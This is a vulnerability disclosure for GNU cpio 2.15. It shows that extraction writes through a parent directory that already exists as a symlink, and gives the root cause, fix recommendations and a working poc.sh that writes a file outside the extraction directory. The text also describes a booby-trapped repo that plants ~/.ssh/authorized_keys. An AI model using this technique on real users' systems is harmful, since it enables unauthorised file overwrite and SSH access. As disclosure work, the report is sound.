GNU cpio 2.15 — Arbitrary File Write via Preexisting Parent Symlink During Extraction

GNU cpio extracts into the current working directory. If an attacker can prepare the destination state so that a parent path component is a symlink to a location outside the intended extraction directory, a normal file entry in the archive is written through that symlink.

One realistic attack scenario is a “malicious repo / template project” that includes a symlinked output subdirectory and an archive that looks harmless (no `../` traversal needed):

```
repo/
|-- out/
|   `-- a -> ~/.ssh/       (preexisting symlink; attacker-controlled repo content)
|-- payload.cpio           (attacker-controlled archive)
```

Victim workflow:

1. Victim follows README instructions to “extract into `out/`”.
2. Victim runs: `cd out && cpio -id < ../payload.cpio`

If `payload.cpio` contains a normal entry like `a/authorized_keys`, cpio can end up creating or overwriting `~/.ssh/authorized_keys` (within the victim’s permissions). The archive does not need path traversal strings; the escape happens because the destination path resolution follows a preexisting symlink.

0. Environment

- Target: `cpio` (GNU cpio copy-in mode: `cpio -id`)
- Version: GNU cpio `2.15`, from `test_target/sources/cpio-latest.tar.gz` (sha256 `efa50ef983137eefc0a02fdb51509d624b5e3295c980aa127ceee4183455499e`)
- Build (from repository root):

```
WORK=/tmp/unpfuzz-cpio-2.15
rm -rf "$WORK"
mkdir -p "$WORK"
tar -xf test_target/sources/cpio-latest.tar.gz -C "$WORK"
cd "$WORK"/cpio-2.15
mkdir -p build && cd build
../configure --disable-nls CFLAGS='-O2 -g -fcommon'
make -j"$(nproc)"
```

- Binary: `$WORK/cpio-2.15/build/src/cpio` (run PoC with `CPIO_BIN=...`)

1. Description

GNU cpio does not verify that already-existing parent components under the extraction root are real directories before opening an extracted file.

If an attacker can prepare the destination state so that a parent path component is a symlink to a location outside the extraction root, a normal file entry in the archive is written through that symlink.

This behavior was **reproduced on GNU cpio 2.15** (sha256 `efa50ef983137eefc0a02fdb51509d624b5e3295c980aa127ceee4183455499e`). Enabling `--no-absolute-filenames` does **not** mitigate this class because the symlink already exists in the destination pre-state.

Relevant code:

- `src/copyin.c:1486` — member names are sanitized with `cpio_safer_name_suffix(...)`.
- `src/copyin.c:476-484` — regular files are opened with `open(file_hdr->c_name, O_CREAT | O_WRONLY | O_BINARY, 0600)`.
- `src/copyin.c:479-485` — missing directories may be created, but no parent-component symlink rejection is performed.

2. Impact

If an attacker controls the extraction directory state, they can redirect writes outside the intended extraction root.

Practical impact includes:

- overwriting files adjacent to the extraction directory;
- planting files into attacker-chosen sibling directories;
- turning cpio extraction into a write primitive in shared workspaces or automated unpacking pipelines.

3. Reason / Root Cause

The code sanitizes the archive member name as a string, but it does not constrain host filesystem resolution of preexisting path components.

The member `a/pwn.txt` looks harmless. However, if `a` already exists as `a -> ../outside`, then `open("a/pwn.txt", ...)` follows that symlink and creates `../outside/pwn.txt`.

This is a hostile-prestate path-resolution bug.

4. Proof-of-Concept

4.1 PoC file

- Runner: `poc.sh`

4.2 What the PoC does

The PoC:

1. Creates a minimal `newc` archive with one regular file entry: `a/pwn.txt`.
2. Pre-creates `out/a -> ../outside`.
3. Extracts inside `out/`.
4. Verifies that `outside/pwn.txt` is created.

4.3 Expected result

Successful exploitation creates:

- `/tmp/unpfuzz_cpio_prest/outside/pwn.txt`

instead of keeping output under:

- `/tmp/unpfuzz_cpio_prest/out/`

5. Fix Recommendations

1. Reject existing symlink parent components before opening any output path.
2. Walk extraction paths relative to a trusted root directory descriptor with `openat`-style APIs.
3. Prefer `openat2(..., RESOLVE_BENEATH | RESOLVE_NO_SYMLINKS)` where available.
4. Add regression tests for preexisting parent symlink state, not only archive-created symlinks.

6. Reproduction

From the repository root:

```
CPIO_BIN=/path/to/cpio ./poc.sh
```

Below is the poc.sh

```
#!/usr/bin/env bash
set -euo pipefail

CPIO_BIN=${CPIO_BIN:-cpio}

if [[ "$CPIO_BIN" == */* ]]; then
  if [[ ! -x "$CPIO_BIN" ]]; then
    echo "error: CPIO_BIN is not executable: $CPIO_BIN" >&2
    exit 1
  fi
else
  if ! command -v "$CPIO_BIN" >/dev/null 2>&1; then
    echo "error: cpio is required" >&2
    exit 1
  fi
fi

base=/tmp/unpfuzz_cpio_prest
rm -rf "$base"
```

```
mkdir -p "$base/out" "$base/outside"
ln -s ../outside "$base/out/a"

python3 - <<'PY'
import time

base = "/tmp/unpfuzz_cpio_prest"
hdr_len = 110

def entry(name, mode, data=b"", ino=1, nlink=1):
    name_bytes = name.encode() + b"\0"
    namesz = len(name_bytes)
    fields = [
        ino, mode, 1000, 1000, nlink, int(time.time()),
        len(data), 0, 0, 0, 0, namesz, 0,
    ]
    header = ("070701" + "".join(f"{value:08x}" for value in
fields)).encode()
    name_pad = b"\0" * ((4 - ((hdr_len + namesz) % 4)) % 4)
    data_pad = b"\0" * ((4 - (len(data) % 4)) % 4)
    return header + name_bytes + name_pad + data + data_pad

archive = b"".join([
    entry("a/pwn.txt", 0o100600, b"PRESTATE\n", 2),
    entry("TRAILER!!!", 0, b"", 3),
])
open(base + "/prestate.cpio", "wb").write(archive)
PY

(cd "$base/out" && "$CPIO_BIN" -id --quiet < "$base/prestate.cpio")

if [[ ! -f "$base/outside/pwn.txt" ]]; then
  echo "[-] exploit failed: outside file was not created" >&2
  find "$base" -maxdepth 3 -ls >&2
  exit 1
fi

echo "[+] wrote through preexisting parent symlink"
cat "$base/outside/pwn.txt"
```